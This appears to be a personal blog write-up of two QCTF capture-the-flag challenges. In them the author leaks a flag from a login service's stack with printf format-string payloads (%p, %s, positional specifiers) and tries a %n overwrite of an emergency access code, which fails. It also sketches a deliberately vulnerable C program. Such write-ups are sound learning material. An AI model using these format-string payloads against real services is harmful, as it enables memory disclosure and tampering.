home

QCTF experience and write-up

January 22nd, 2023
7 minute read

Yesterday I had the opportunity to compete in QCTF, the annual hacking capture-the-flag competition at Queen’s University. I came in not expecting much but in the end I was humbled by the challenges and impressed by the competiton. My team of 2 came in 5th place, which is not bad for my first CTF! Next year though I’m coming in with a larger team and more preparation.

The challenges were interesting, and I decided to write-up my solutions for the most difficult ones.

Death String 1

We’re given an ssh login which provides a username/password login prompt:

        ,▄═*5██▐██▀═▄,
     ,═▀▄█▀▀"▄▄╓▄"▀▀█▄█¥┌
   ,A▄█▀  ▄▄██████▄▄  ▀█▄▀,
  ╓▀╙▀▄▄█████▌  ,█████▄▄▀▀/▄
 ,▀█▀██▄▀`"███  ███▀ ▀█▄█╙█"▄
 █▐█  ██▄,  `    `  ,▄██L ║▌█
 ▌█▌ ▐█████▌      ▐█████▌ ▐█▐
 █▐█  ██⌐   ▄    ▄   `██⌐ █▌█
  ▌█▌▀▀▄█▄▄███  ███▄╓█▄█▀▄█╓⌐
   ▄τ█▀└▀████▄,,▄████▀╙▀▄M▄^
    ▀▄▀█▄ `▀▀██╫█▀▀└ ,▄██╛
      ╙═█▀█▄▄▄█║█▄▄█▀█æ╙
         '"ⁿ══==══ⁿ"└

   Imperial Security Bureau

username: admin
password: password

Welcome admin.

Access denied: Invalid username or password. If you have forgotten your password,
you can use an emergency override code instead.

Immediately I see the username is echoed back, so I’m thinking this could be a printf-exploitation challenge, so I put some format specifiers in the username to test.

username: %x%x%x%x%x%x%x
password: password

Welcome 636c65576b5600636c65576b78808ffffeb00ffffec00.

Nice! I’m guessing the flag is stored as a character array somewhere in the program’s data section, and hopefully, there’s a pointer to that string somewhere on the stack, so I print out all the pointers I can.

username: %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p 
password: 

Welcome 0x20656d6f636c6557 0x6b5600 0x20656d6f636c6557 0x6b7880 0x8
0x7fffffffeb00 0x7fffffffec00 0x3433647b46544351 0x7d723474736874
0x7fffffffeac0 0x6b4bc0 0x7fffffffed10 0x400dea 0x7fffffffee58
0x1006b81c0 (nil) 0x5 0x45 0x70 0x1 0x3100000005 (nil) (nil)
0x6e0000005b (nil) (nil) 0x7c00000077 0x6b3800 0x6b3800 0x45 0x1
0x7fffffffebc0 (nil) 0x2 0x413d61 0x2 0x4 0x7fffffffec80 0x460bdb
0x7fffffffefc9 (nil) 0x49e4d1 0x15 0x140 0x170 0x5 0x3500000015
0x7025207025207025 0x2520702520702520 0x2070252070252070
0x7025207025207025 0x2520702520702520 0x2070252070252070
0x7025207025207025 0x2520702520702520 0x2070252070252070
0x7025207025207025 0x2520702520702520 0x2070252070252070
0x7025207025207025 0x2520702520702520 0x2070252070252070
0x7025207025207025 0x2520702520702520 .

Wow, that’s a lot of data! I used vim to clean in up into a form that I can import into my hex editor, and I start looking for things that might look like pointers.

Of course, on the right we have the format string, since it must be loaded onto the stack too while printf is being executed, and, wait, what is that above? FTCQ? I happen to know that flags have the format QCTF{…}, and since we’re in little endian it will appear reversed. So the flag isn’t stored in a char *, it’s stored directly on the stack. We can try a new query, but I’m just gonna reverse the bytes manually. Converting 3433647B46544351 007D723474736874 to big-endian gives 514354467B643334 7468737434727D00, which is QCTF{d34thst4r} in ASCII. And that’s the flag!

Death String 2

This challenge reuses the same login prompt from Death String 1 but now we need to find a way to log in using the mentioned “emergency override code.” We’re also given the hint that “A pointer to the emergency access code is stored in a stack variable.”

Stack variable have very distinct patterns, and on this machine, I’m guessing pointers to the stack generally start at 0x7fffffff0000. So I look at the prompt I used above and replace every %p with a %s to print the content of each stack-pointer as a string, which lets me fill out this table:

position in the format string pointer value content as string guess
6 0x00007FFFFFFFEB00 empty string or non-printable characters
7 0x00007FFFFFFFEC00 %p %p %p %p %p “%s” “%s” %p %p “%s” %p “%s” %p “%s” %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p “%s” %p %p %p %p %p “%s” %p “%s” %p %p %p %p %p %p %p %p %p %p %p %p pointer to the format string
10 0x00007FFFFFFFEAC0 QCTF{d34thst4r} flag 1
12 0x00007FFFFFFFED10 0k
14 0x00007FFFFFFFEE58 ????? GNU printf print failure? Or the literal string “?????”
32 0x00007FFFFFFFEBC0 ????? same
38 0x00007FFFFFFFEC80 “%s” %p “%s” %p %p %p %p %p %p %p %p %p %p %p %p portion of the format string
40 0x00007FFFFFFFEFC9 x86_64 architecture

A few notes:

int printf(char fmt, ...) {
	while (1) {
		format_the_specifier(fmt, args);
		fmt += length_of_specifier;
	}
}

We can get a cleaner version of the output above by using the prompt:

"%6$s" "%7$s" "%10$s" "%12$s" %14$s"

which takes advantage of printf’s rarely used positional formatting specifiers.

Hacking away with precision specifiers, and writing to the pointers with %n, I can get a better understanding of what the pointers point to. And yes, at 0x7FFFFFFFEE58 there really is a literal "?????", and that’s not part of printf.

position in the format string pointer value what it points to
6 0x00007FFFFFFFEB00 the password we type
7 0x00007FFFFFFFEC00 the username we type
10 0x00007FFFFFFFEAC0 “QCTF{d34thst4r}” (the flag)
12 0x00007FFFFFFFED10 “0k”
14 0x00007FFFFFFFEE58 “?????”

Here I got stumped, so I got another hint, and it told me, “printf can write too,” which is something I already knew but still helpful since I now knew the challenge involved somehow overwriting the access code. My guess is that the program looks something like this:

const char *flag2 = "...";

int main() {
	char access_code_array[6] = "?????";
	
	char *username = prompt("username: ");
	char *password = prompt("password: ");

	char *access_code = access_code_array;

	printf("Welcome ");
	printf(username);
	printf(".");

	if (strcmp(password, access_code) == 0
		&& strlen(access_code) > 0 // to prevent overwriting the access code with
								   // an empty string
		&& access_code[0] != '?'   // to prevent just typing "?????" into the
								   // password field
	) {
		printf("welcome, here's the flag: %s\n", flag2);
	}
}

A little contrived, but it’s a CTF, what do you want. It’s clear I have to set the access code to something I know and then put that for the password. I use %n to overwrite the code. %n tells printf not to print the next pointer but instead treat it as an int * and write to it the number of characters already written to stdout. So I have to write, say, 65 characters to stdout, and then %14$n, which writes a 65, or 0x41, or ‘A’, to the 14th pointer down the stack. Better yet, it will treat the char * like an int *, so it will actually write 0x00000041, which if interpreted as a character array on a little-endian machine, effectively writes {0x41, 0, 0, 0}, which means I get the null-terminator written for free! So here’s my prompt, let’s hope it works:

username: aaaaa... (65 characters total) ...aaaaa%14$n
password: A

And…. it didn’t work. It was at this point that time ran out and we disappointingly placed in 5th, when this 200-point challenge would have brought us to into the top 3 for that sweet, sweet cash prize. Oh well. Maybe the solution has something to do with that 0k string in pointer 12. I’ll have to wait and see the official solutions.